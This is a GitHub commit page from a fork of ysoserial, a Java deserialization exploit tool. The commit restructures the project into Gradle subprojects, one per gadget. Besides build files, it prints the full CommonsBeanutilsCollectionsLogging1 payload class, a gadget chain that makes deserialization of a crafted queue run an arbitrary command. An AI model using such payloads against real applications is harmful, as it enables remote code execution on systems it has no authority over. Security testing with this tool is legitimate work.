This repository has been archived by the owner on Nov 13, 2019. It is now read-only.
forked from frohoff/ysoserial
-
Notifications
You must be signed in to change notification settings - Fork 7
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Gradle build POC that isolate each gadget frohoff#10
- Loading branch information
Showing
42 changed files
with
311 additions
and
670 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,7 +1,13 @@ | ||
/target | ||
target/ | ||
build/ | ||
.gradle/ | ||
pwntest | ||
|
||
#Eclipse | ||
.classpath | ||
.project | ||
.settings/ | ||
pwntest | ||
|
||
#IntelliJ | ||
.idea/ | ||
*.iml | ||
*.iml |
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
group 'ysoserial' | ||
version '1.0-SNAPSHOT' | ||
|
||
subprojects { //Common configuration for subprojects | ||
apply plugin: 'java' | ||
|
||
sourceCompatibility = 1.7 | ||
|
||
repositories { | ||
mavenCentral() | ||
} | ||
} | ||
|
||
|
||
subprojects { | ||
|
||
compileJava { | ||
options.encoding = 'UTF-8' | ||
//options.compilerArgs << "-Xlint:unchecked" << "-Xlint:deprecation" | ||
options.compilerArgs << "-Xlint:none" | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,8 @@ | ||
group 'ysoserial' | ||
version '1.0-SNAPSHOT' | ||
|
||
dependencies { | ||
compile group: 'commons-beanutils', name: 'commons-beanutils', version: '1.9.2' | ||
compile group: 'commons-collections', name: 'commons-collections', version: '3.1' | ||
compile project(':ysoserial-core') | ||
} |
84 changes: 41 additions & 43 deletions
84
.../CommonsBeanutilsCollectionsLogging1.java → .../CommonsBeanutilsCollectionsLogging1.java
100755 → 100644
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,44 +1,42 @@ | ||
package ysoserial.payloads; | ||
|
||
import java.math.BigInteger; | ||
import java.util.PriorityQueue; | ||
|
||
import org.apache.commons.beanutils.BeanComparator; | ||
|
||
import ysoserial.payloads.annotation.Dependencies; | ||
import ysoserial.payloads.util.Gadgets; | ||
import ysoserial.payloads.util.PayloadRunner; | ||
import ysoserial.payloads.util.Reflections; | ||
|
||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; | ||
|
||
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) | ||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) | ||
public class CommonsBeanutilsCollectionsLogging1 implements ObjectPayload<Object> { | ||
|
||
public Object getObject(final String command) throws Exception { | ||
final TemplatesImpl templates = Gadgets.createTemplatesImpl(command); | ||
// mock method name until armed | ||
final BeanComparator comparator = new BeanComparator("lowestSetBit"); | ||
|
||
// create queue with numbers and basic comparator | ||
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); | ||
// stub data for replacement later | ||
queue.add(new BigInteger("1")); | ||
queue.add(new BigInteger("1")); | ||
|
||
// switch method called by comparator | ||
Reflections.setFieldValue(comparator, "property", "outputProperties"); | ||
|
||
// switch contents of queue | ||
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); | ||
queueArray[0] = templates; | ||
queueArray[1] = templates; | ||
|
||
return queue; | ||
} | ||
|
||
public static void main(final String[] args) throws Exception { | ||
PayloadRunner.run(CommonsBeanutilsCollectionsLogging1.class, args); | ||
} | ||
package ysoserial.payloads; | ||
|
||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; | ||
import org.apache.commons.beanutils.BeanComparator; | ||
import ysoserial.payloads.annotation.Dependencies; | ||
import ysoserial.payloads.util.Gadgets; | ||
import ysoserial.payloads.util.PayloadRunner; | ||
import ysoserial.payloads.util.Reflections; | ||
|
||
import java.math.BigInteger; | ||
import java.util.PriorityQueue; | ||
|
||
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) | ||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) | ||
public class CommonsBeanutilsCollectionsLogging1 implements ObjectPayload<Object> { | ||
|
||
public Object getObject(final String command) throws Exception { | ||
final TemplatesImpl templates = Gadgets.createTemplatesImpl(command); | ||
// mock method name until armed | ||
final BeanComparator comparator = new BeanComparator("lowestSetBit"); | ||
|
||
// create queue with numbers and basic comparator | ||
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); | ||
// stub data for replacement later | ||
queue.add(new BigInteger("1")); | ||
queue.add(new BigInteger("1")); | ||
|
||
// switch method called by comparator | ||
Reflections.setFieldValue(comparator, "property", "outputProperties"); | ||
|
||
// switch contents of queue | ||
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); | ||
queueArray[0] = templates; | ||
queueArray[1] = templates; | ||
|
||
return queue; | ||
} | ||
|
||
public static void main(final String[] args) throws Exception { | ||
PayloadRunner.run(CommonsBeanutilsCollectionsLogging1.class, args); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
group 'ysoserial' | ||
version '1.0-SNAPSHOT' | ||
|
||
dependencies { | ||
compile group: 'org.beanshell', name: 'bsh', version: '2.0b5' | ||
compile project(':ysoserial-core') | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
group 'ysoserial' | ||
version '1.0-SNAPSHOT' | ||
|
||
dependencies { | ||
compile group: 'commons-collections', name: 'commons-collections', version: '3.1' | ||
compile project(':ysoserial-core') | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
17 changes: 7 additions & 10 deletions
17
...oserial/payloads/CommonsCollections3.java → ...oserial/payloads/CommonsCollections3.java
100755 → 100644
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
group 'ysoserial' | ||
version '1.0-SNAPSHOT' | ||
|
||
dependencies { | ||
compile group: 'org.apache.commons', name: 'commons-collections4', version: '4.0' | ||
compile project(':ysoserial-core') | ||
} |
8 changes: 3 additions & 5 deletions
8
...oserial/payloads/CommonsCollections2.java → ...oserial/payloads/CommonsCollections2.java
100755 → 100644
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
13 changes: 5 additions & 8 deletions
13
...oserial/payloads/CommonsCollections4.java → ...oserial/payloads/CommonsCollections4.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
group 'ysoserial' | ||
version '1.0-SNAPSHOT' | ||
|
||
dependencies { | ||
compile group: 'org.springframework', name: 'spring-core', version: '3.0.5.RELEASE' | ||
compile group: 'org.springframework', name: 'spring-beans', version: '3.0.5.RELEASE' | ||
compile group: 'org.springframework', name: 'spring-aop', version: '3.0.5.RELEASE' | ||
compile project(':ysoserial-core') | ||
} |
28 changes: 13 additions & 15 deletions
28
...in/java/ysoserial/payloads/SpringAop.java → ...in/java/ysoserial/payloads/SpringAop.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,8 @@ | ||
group 'ysoserial' | ||
version '1.0-SNAPSHOT' | ||
|
||
dependencies { | ||
compile group: 'org.springframework', name: 'spring-core', version: '4.1.4.RELEASE' | ||
compile group: 'org.springframework', name: 'spring-beans', version: '4.1.4.RELEASE' | ||
compile project(':ysoserial-core') | ||
} |
Oops, something went wrong.